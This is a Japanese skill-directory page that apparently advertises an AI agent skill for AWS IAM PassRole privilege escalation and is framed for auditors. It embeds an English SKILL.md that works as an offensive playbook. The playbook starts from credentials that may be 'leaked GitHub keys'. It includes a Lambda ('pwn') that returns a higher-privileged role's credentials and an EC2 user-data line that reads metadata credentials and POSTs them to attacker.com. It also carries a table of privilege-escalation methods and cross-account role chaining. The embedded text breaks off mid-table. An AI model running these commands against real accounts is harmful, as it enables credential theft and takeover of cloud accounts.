本文へスキップ
Skillpedia
セキュリティ6.5k · #13985

aws-iam-passrole-chain

できること

このスキルは、PassRoleの権限とロールの引き受けによって、AWSでより高いアクセスにつながる仕組みを説明します。自分が管理するアカウントのIAM設定を確認するクラウド監査人と管理者向けです。

使う場面

  • ✓監査人が、LambdaやEC2などのサービスに、より強力なロールを渡せるユーザーを探すよう依頼するとき。
  • ✓アカウントをまたいでロールを引き受けることを許す、ロールの信頼ポリシーを確認するとき。
  • ✓PassRoleの付与が、ユーザーが本来持つべきアクセスを超えてしまう仕組みを報告書で説明する必要があるとき。

スキルのリンク

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md

コピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。

使い方

いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。

貼り付け用メッセージ

このスキルを使って手伝ってください:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md このリンクのSKILL.mdファイルを読んで、私の作業でその指示に従ってください。
こういうスキルを、AIが自分で見つけてくれたら?無料のSkillpedia MCPをインストール。1行で、作業の前に15,000+のスキルから探してくれます。1分でインストール →

AIへの頼み方の例

“認可された当社のAWSアカウントで、テストユーザーのいずれかが、強力なロールをLambdaやEC2に渡せないかを確認してもらえますか。”

毎週5つの新しいスキル。1分で読めます。

仕組み

エージェントは、PassRoleの権限のポリシーを読み、渡せるロールを一覧にし、どのサービスがそのロールで動けるかを確認します。

技術的な内容(元のSKILL.md)

作者による元のテキスト(英語)をGitHubからそのまま表示しています。

AWS IAM PassRole Chain

You have AWS credentials (env vars, ~/.aws/credentials, EC2 IMDS, ECS task role, leaked GitHub keys). Find the path to higher privilege via PassRole.

Enumerate

aws sts get-caller-identity                                  # who are you?
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-user-policies --user-name <you>
aws iam get-account-summary

# Or for a role (e.g., EC2 instance):
aws sts get-caller-identity                                  # check Arn = role
ROLE=$(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-attached-role-policies --role-name $ROLE
aws iam list-role-policies --role-name $ROLE

Use Pacu — enum_permissions — for the canonical enumeration.

Phase 1: Identify your PassRole targets

# What roles can your principal PassRole?
# Check policy for iam:PassRole — note the Resource:
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/<your-policy> --version-id v1 \
  | jq '.PolicyVersion.Document.Statement[] | select(.Action[]?=="iam:PassRole" or .Action=="iam:PassRole")'

# List all roles (need iam:ListRoles)
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output text

Phase 2: PassRole → execute as higher-priv role

Lambda — most common path

# Create a Lambda that runs as TARGET_ROLE and returns its credentials
cat > pwn.py <<'EOF'
def lambda_handler(event, context):
    import os
    return {
        "AKI": os.environ["AWS_ACCESS_KEY_ID"],
        "SAK": os.environ["AWS_SECRET_ACCESS_KEY"],
        "TOK": os.environ["AWS_SESSION_TOKEN"],
    }
EOF
zip pwn.zip pwn.py
aws lambda create-function --function-name pwn --runtime python3.11 \
  --role arn:aws:iam::ACCT:role/TARGET_ROLE --handler pwn.lambda_handler \
  --zip-file fileb://pwn.zip
aws lambda invoke --function-name pwn /tmp/o.json && cat /tmp/o.json
# /tmp/o.json now contains TARGET_ROLE credentials

Glue Dev Endpoint

aws glue create-dev-endpoint --endpoint-name pwn --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# SSH into it; whoami is TARGET_ROLE

EC2 Instance Profile

aws ec2 run-instances --image-id ami-0c55b159cbfafe1f0 --instance-type t2.micro \
  --iam-instance-profile Name=TARGET_PROFILE --user-data "$(printf '#!/bin/bash\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/TARGET_ROLE > /tmp/c.json && curl -X POST -d @/tmp/c.json https://attacker.com/x')"

SageMaker Notebook

aws sagemaker create-notebook-instance --notebook-instance-name pwn --instance-type ml.t2.medium \
  --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# Then open the notebook URL; in a cell: !aws sts get-caller-identity

Phase 3: AssumeRole chains across accounts

# If you have sts:AssumeRole on a cross-account role:
aws sts assume-role --role-arn arn:aws:iam::OTHER_ACCT:role/CROSSACCT_ROLE --role-session-name pwn
# Use the returned Credentials for the next hop.

# Chain depth — repeat assume-role with each new principal.

Phase 4: Privilege escalation classes (Pacu — iam__privesc_scan)

Method Required permission
CreateNewPolicyVersion iam:CreatePolicyVersion on a policy attached to a higher-priv user
SetExistingDefaultPolicyVersion iam:SetDefaultPolicyVersion
CreateAccessKey iam:CreateAccessKey on a higher-priv user
CreateLoginProfile iam:CreateLoginProfile — log in as the target user via console
UpdateLoginProfile iam:UpdateLoginProfile — reset the target user's console password
AttachUserPolicy iam:AttachUserPolicy — attach AdministratorAccess to yourself
AttachGroupPolicy iam:AttachGroupPolicy
AttachRolePolicy iam:AttachRolePolicy
PutUserPolicy iam:PutUserPolicy — inline policy bypass
AddUserToGroup iam:AddUserToGroup — add yourself to admins
UpdateAssumeRolePolicy iam:UpdateAssumeRolePolicy — make a role assumable by you
PassExistingRoleToNewLambda iam:PassRole + lambda:CreateFunction/InvokeFunction
PassExistingRoleToNewGlueDevEndpoint as above for Glue
EditExistingLambdaFunctionWithRole lambda:UpdateFunctionCode on an existing Lambda
PassExistingRoleToNewCloudFormation iam:PassRole + cloudformation:CreateStack
`PassExistingRoleToNewDataP
よくある質問

iam:PassRoleとは何ですか?

ユーザーがAWSのサービスにロールを渡すことを許す権限で、そのサービスはそのロールのアクセス権で動けます。

なぜリスクなのですか?

強いロールをサービスに渡せるユーザーは、間接的にそのロールのアクセスを得られるからだとスキルは述べています。

スキルは攻撃だけを扱いますか?

認可されたレビューのために書かれており、主な用途は広すぎる付与を見つけて取り除くことです。

詳細

作者による元の説明

AWS IAM privilege escalation via `iam:PassRole` chains — Lambda/Glue/Sagemaker/EC2/ECS PassRole to a higher-priv role, AssumeRole chains across accounts, sts:GetCallerIdentity recon, account hijack via legacy root-mfa-bypass.

repo: BitterSecurity/Decepticon

人気

GitHubのスター
6.5k
ランキング
#13985
ライセンス
Apache-2.0
更新日
2026/11/1

このスキルは役に立ちますか?

0

ログイン して投票しましょう。

コメント

  • …

このリポジトリの他のスキル

似ているスキル